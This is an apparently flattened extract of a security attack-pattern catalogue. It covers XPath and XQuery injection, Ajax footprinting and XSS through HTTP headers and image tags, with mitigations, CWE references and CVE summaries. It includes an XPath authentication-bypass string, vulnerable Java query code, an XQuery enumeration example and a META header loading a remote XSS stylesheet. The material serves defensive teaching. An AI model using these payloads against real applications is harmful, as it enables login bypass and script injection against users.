Leakagejohnabracadabra/home/johncbc1mgr8/home/cbc
The Java code used to retrieve the home directory based on the provided credentials is:
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" + login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);
Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes
//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()
which, of course, lets user "john" login without a valid password, thus bypassing authentication.
This situation occurred due to the use of improperly filtered input and the use of dynamic XPath query. Parameterizng the XPath query provides a second line of defense, should input validation fail. The approach to parameterizing the query in Java is to use a resolver to resolve the bound parameters:
public class LoginResolver implements XPathVariableResolver {
Login login = null;
public Object resolveVariable(QName variableName) {
if (variableName == null)
throw new NullPointerException("The variable name cannot be null");
if (variableName.equals(new QName("username")))
return new String(this.login.getUserName());
else if (variableName.equals(new QName("password")))
return new String(this.login.getPassword());
else
return null;
}
public LoginResolver(Login login){
this.login = login;
}
}
The corresponding XPath expression and query are:
xpath.setXPathVariableResolver(new LoginResolver(login));
XPathExpression xlogin = xpath.compile("//users/user[login/text()=$username and password/text() = $password]/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);
A similar attack pattern that seeks to extract information, including the XML document structure, is known as Blind XPath Injection and is based on the lack of proper input validation and non-parameterized XPath queries. The difference lies in the fact that bypassing authentication does not require knowledge of the rest of the document and the corresponding query can be quite easily discerned. With Blind XPath Injection, the attacker asks the database a number of Boolean questions by formulating appropriate XPath expressions.
]]>User-controllable input used as part of dynamic XPath queriesXPath expressions intended to defeat checks run by XPath queriesXML databaseThe impact of payload activation is that it is interpreted as part of the XPath expression used in the query, thus enabling an attacker to modify the expression used by the query.91Targeted74Secondary20Secondary390SecondarySpecial characters in user-controllable input must be escaped before use by the application.Only use parameterized XPath expressions to query the XML database.Custom error pages must be used to handle exceptions such that they do not reveal any information about the architecture of the application or the database.Reluctance to TrustFailing SecurelyDefense in DepthNever Use Input as Part of a Directive to any Internal ComponentHandle All Errors SafelyPenetrationExploitationHighHighMediumClient-ServerSOAAllAllAllCWE - XML InjectionCWE - Input ValidationCWE - Improper Error Handling
This attack utilizes XQuery to probe and attack server systems; in a similar manner that SQL Injection allows an attacker to exploit SQL calls to RDBMS, XQuery Injection uses improperly validated data that is passed to XQuery commands to traverse and execute commands that the XQuery routines have access to. XQuery injection can be used to enumerate elements on the victim's environment, inject commands to the local host, or execute queries to remote files and data sources.
The XQL must execute unvalidated dataVery HighHighInjection
An attacker can pass XQuery expressions embedded in otherwise standard XML documents. Like SQL injection attacks, the attacker tunnels through the applicaiton entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back.
doc(accounts.xml)//user[Name='*']
The attacks that are possible through Xquery are difficult to predict, if the data is not validated prior to executing the XQL.
Low → Basic understanding of XQuery
Design: Perform input white list validation on all XML input
Implementation: Run xml parsing and query infrastructure with minimal privileges so that an attacker is limited in their ability to probe other system resources from xql.
Data ModificationInformation LeakagePrivilege EscalationRun Arbitrary Code
XML-capable system interfaces
XQuery syntax
XQL commands
74TargetedPenetrationExploitationHighHighHighClient-ServerSOAAllAllAll
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. In many XSS attacks the attacker must get a "hole in one" and successfully exploit the vulnerability on the victim side the first time, once the client is redirected the attacker has many chances to engage in follow on probes, but their is only one first chance. In a widely used web application this is not a major problem because 1 in a 1,000 is good enough in a widely used application.
A common first step for an attacker is to footprint the environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well known ports, network locations and so on.
The user must allow Javscript to execute in their browser
Very HighHighProtocol ManipulationInjectionBrute Force
Footprinting can be executed over almost any protocol including HTTP, TCP, UDP, and ICMP, with the general goal of gaining further information about a host environment to launch further attacks. By appending a malicious script to an otherwise normal looking URL, the attacker can probe the sysem for banners, vulnerabilities, filenames, available services, and in short anything the host process has access to. The results of the probe are either used to execute additional javascript (for example, if the attacker's footprint script identifies a vulnerability in a firewall permission, then the client side script executes a javascript to change client firewall settings, or an attacker may simply echo the results of the scan back out to a remote host for targeting future attacks).
Medium → to land and launch a script on victim's machine with appropriate footprinting logic for enumerating services and vulnerabilities in Javascript
Design: Use browser technologies that do not allow client side scripting.
Design: Utilize strict type, character, and encoding enforcement
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
Implementation: Perform input validation for all remote content.
Implementation: Perform output validation for all remote content.
Implementation: Disable scripting languages such as Javascript in browser
Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.
Information Leakage
Payload delivered through standard communication protocols, such as Ajax application.
Command(s) executed directly on host
Client machine and client network
Enables attacker to execute probes against client system.
79Targeted113Targeted348Targeted96Targeted20Targeted116Targeted184Secondary86SecondaryReconnaissanceHighLowLowClient-ServerSOAAllAllAJAX
Shreeraj Shah, "Ajax footprinting for Web 2.0 applications", http://www.net-security.org/dl/articles/Ajax_fingerprinting.pdf
An attack of this type exploits web applications that generate web content, such as links in a HTML page, based on unvalidated or improperly validated data submitted by other actors. XSS in HTTP Headers attacks target the HTTP headers which are hidden from most users and may not be validated by web applications. As with all XSS attacks, there are a number of possible targets:
1. Launch attack on web browser clients and client machine
2. Launch attacks on client machines environment, such as LAN or Intranet
3. Launch attack on web server, including remote web servers
Web 2.0 technologies rely heavily on mashups and other plug in technologies like multi media players which are effectively composed of content generated by other systems and are vulnerable due to the fact that an attacker may use the HTTP header information that these technologies consume and display as an attack launch pad.
Beyond Web 2.0, increasingly system administration software uses web front ends, from firewall administration to application servers, to blogging software, many tools are administered through web browsers. This gives the administrator the ability to administer in a highly distributed environment, but this comes at the cost of exposing the command and control software for the system to web attacks. Additionally, because the rich functionality required these administration applications, many rely on scripting languages. So an attacker can insert HTTP links into logs, audit functionality, error logs, and message queues, then, for example, a Javascript-enabled web browser with administrator rights can be redirected to execute a wide variety of attacks, including those listed here.
As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote attacker to collect and interpret the output of said attack.
Target software must be a client that allows scripting communication from remote hosts, and attacker must control a remote site of some sort to redirect client and data to.Very HighHighInjectionModification of ResourcesProtocol Manipulation
Utilize a remote style sheet set in the HTTP header for XSS attack. When the attacker is able to point to a remote stylesheet, any of the variables set in that stylesheet are controllable on the client side by the remote attacker. Like most XSS attacks, results vary depending on browser that is used.
(source:http://ha.ckers.org/xss.html)
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
</Example-Instance_Description>
<Example-Instance_Description>
Google's 404 redirection script was found vulnerable to this attack vector.
Google's 404 file not found page read
* Response headers: "Content-Type: text/html; charset=[encoding]".
* Response body: <META http-equiv="Content-Type" (...) charset=[encoding]/>
If the response sends an unexpected encoding type such as UTF-7, then no enforcement is done on the payload and arbitrary XSS code will be transported along with the standard HTTP response. Source: http://seclists.org/fulldisclosure/2005/Dec/1107.html
</Example-Instance_Description>
<Example-Instance_Description>
XSS can be used in variety of ways, because it is scripted and executes in a distribtued, asynchronous fashion it can create its own vector and openings. For example, the attacker can use XSS to mount a DDoS attack by having series of different computers unknowingly executing requests against a single host.
Low → To achieve a redirection and use of less trusted source, an attacker can simply edit HTTP Headers that are sent to client machine.
High → Exploiting a client side vulnerability to inject malicious scripts into the browser’s executable process.
Ability to deploy a custom hostile service for access by targeted clients. Ability to communicate synchronously or asynchronously with client machine
Design: Use browser technologies that do not allow client side scripting.
Design: Utilize strict type, character, and encoding enforcement
Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from.
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
Implementation: Perform input validation for all remote content.
Implementation: Perform output validation for all remote content.
Implementation: Disable scripting languages such as Javascript in browser
Implementation: Session tokens for specific host
Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.
Run Arbitrary CodeInformation LeakagePrivilege Escalation
“Attack Pattern: XSS in HTTP Headers
The HTTP headers of a request are always available to a server for consumption. No matter the context or where data are positioned., if the data are from the client, they should clearly be untrusted. However in many cases programmers overlook header information. For some reason header information is treated as holy ground that cannot be controlled by the user. This pattern takes advantage of this oversight to inject data via a header field.
[Hoglund and McGraw 04]
Malicious input delivered through HTTP Headers.
Varies with instantiation of attack pattern. In the case of HTTP headers they may not be visible to the end user via a browser
Header processing on the server or Client browser
Enables attacker to execute scripts to launch attacks on server as well as remote client machine and environment
79Targeted184Secondary348Targeted96Targeted20Targeted116Targeted86Secondary
CVE-2006-5442
Summary: ViewVC 1.0.2 and earlier does not specify a charset in its HTTP headers or HTML documents, which allows remote attackers to conduct cross-site scripting (XSS) attacks that inject arbitrary UTF-7 encoded JavaScript code via a view.
CVE-2006-3918
Summary: http_protocol.c in (1) IBM HTTP Server 6.0 before 6.0.2.13 and 6.1 before 6.1.0.1, and (2) Apache HTTP Server 1.3 before 1.3.35, 2.0 before 2.0.58, and 2.2 before 2.2.2, does not sanitize the Expect header from an HTTP request when it is reflected back in an error message, which might allow cross-site scripting (XSS) style attacks using web client components that can send arbitrary headers in requests, as demonstrated using a Flash SWF file.
PenetrationExploitationHighHighHighClient-ServerSOAAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
Image tags are an often overlooked, but convenient, means for a Cross Site Scripting attack. The attacker can inject script contents into an image (IMG) tag in order to steal information from a victim's browser and execute malicious scripts.
Application permitting the inclusion or use of IMG tagsHighHighTechniques for discovery of XSS as well as tools and means to exploit them are fairly widely available and understoodInjectionAn online discussion forum allows its members to post HTML-enabled messages, which can also include image tags.
A malicious user can embed JavaScript in the IMG tags in his messages that get executed within the victim's browser whenever the victim reads these messages.
The malicious user can leverage Cross Site Scripting in image tags to steal sensitive information, such as usernames, passwords or cookies, and impersonate other users on the forum.Medium: Besides the ability to figure out possibilities of injection, the attacker requires moderate scripting skills to successfully leverage cross site scripting in image tagsNoneIn addition to the traditional input fields, all other user controllable inputs, such as image tags within messages or the likes, must also be subjected to input validation. Such validation should ensure that content that can be potentially interpreted as script by the browser is appropriately filtered.All output displayed to clients must be properly escaped. Escaping ensures that the browser interprets special scripting characters literally and not as script to be executed.Run Arbitrary CodeInformation Leakage
It is a misconception that Cross Site Scripting can be perpetrated only through input fields, such as text boxes or select fields.
Image tags can be equally well abused to inject script into the victim's browser. The "src" attribute within the IMG tags points to the source of the image to be displayed.
Since the source attribute allows the victim's browser to request content from locations other than the original server, an attacker can make this attribute point to a location of his choosing. Making the victim point to such a location is accomplished by the traditional means of having the victim click on a link; however, script execution can also be achieved by simply having the victim view a message on a bulletin board.
Second-order cross site scripting is the predominant means of script injection when using IMG tags.
User-controllable input to the application. Any input that can legitimately accept and render HTML image tag can be used as an injection vector.HTML Image tag pointing to script or location of attacker's choice.Victim's web browser.Execution of the script in the victim's browser, contained in the image tag or from the location pointed to within the image tag.82Targeted79Targeted74Secondary20SecondaryCVE-2002-1808Cross-site scripting (XSS) vulnerability in Meunity Community System 1.1 allows remote attackers to inject arbitrary web script or HTML via JavaScript in an IMG tag when creating a topic.CVE-2006-6919Firefox Sage extension 1.3.8 and earlier allows remote attackers to execute arbitrary JavaScript in the local context via an RSS feed with an img tag containing the script followed by an extra trailing ">", which Sage modifies to close the img element before the malicious script.Reluctance To TrustDefense In DepthNever Use Unvalidated Input as Part of a Directive to any Internal ComponentTreat the Entire Inherited Process Context as Unvalidated InputPenetrationExploitationHighHighHighClient-ServerSOAAllAllAllWeb EnvironmentA traditional web environment involving HTTP clients and servers and HTTP 1.0 or 1.1 protocol.Client-ServerAn environment using distinct client and server software. The client is typically, but not always, native binaries on a standard platform. The server can be any technology at all, independent of the client.Local EnvironmentThe local environment of the host that the attacker has access to. The attacker may or may not have physical access to the host, but does have the privileges to execute commands on the host.Embedded DevicesThe environment on embedded devices is characterized by limited memory and processing power. They generally have minimal security controls because of their environmental constraints, and often rely on bigger systems to provide security controls.Peer-To-Peer EnvironmentA peer-to-peer environment is one that does not have the concept of separate clients and servers; all nodes are equal peers that simultaneously function as both clients and servers.Communication ProtocolA communication protocol. The protocol could be a unicast protocol such as Kerberos, a multicast protocol such as IPTV, or a broadcast protocol such as parts of DHCP. Also, the protocol may exist at any of the seven OSI layers.AllAll environments are applicable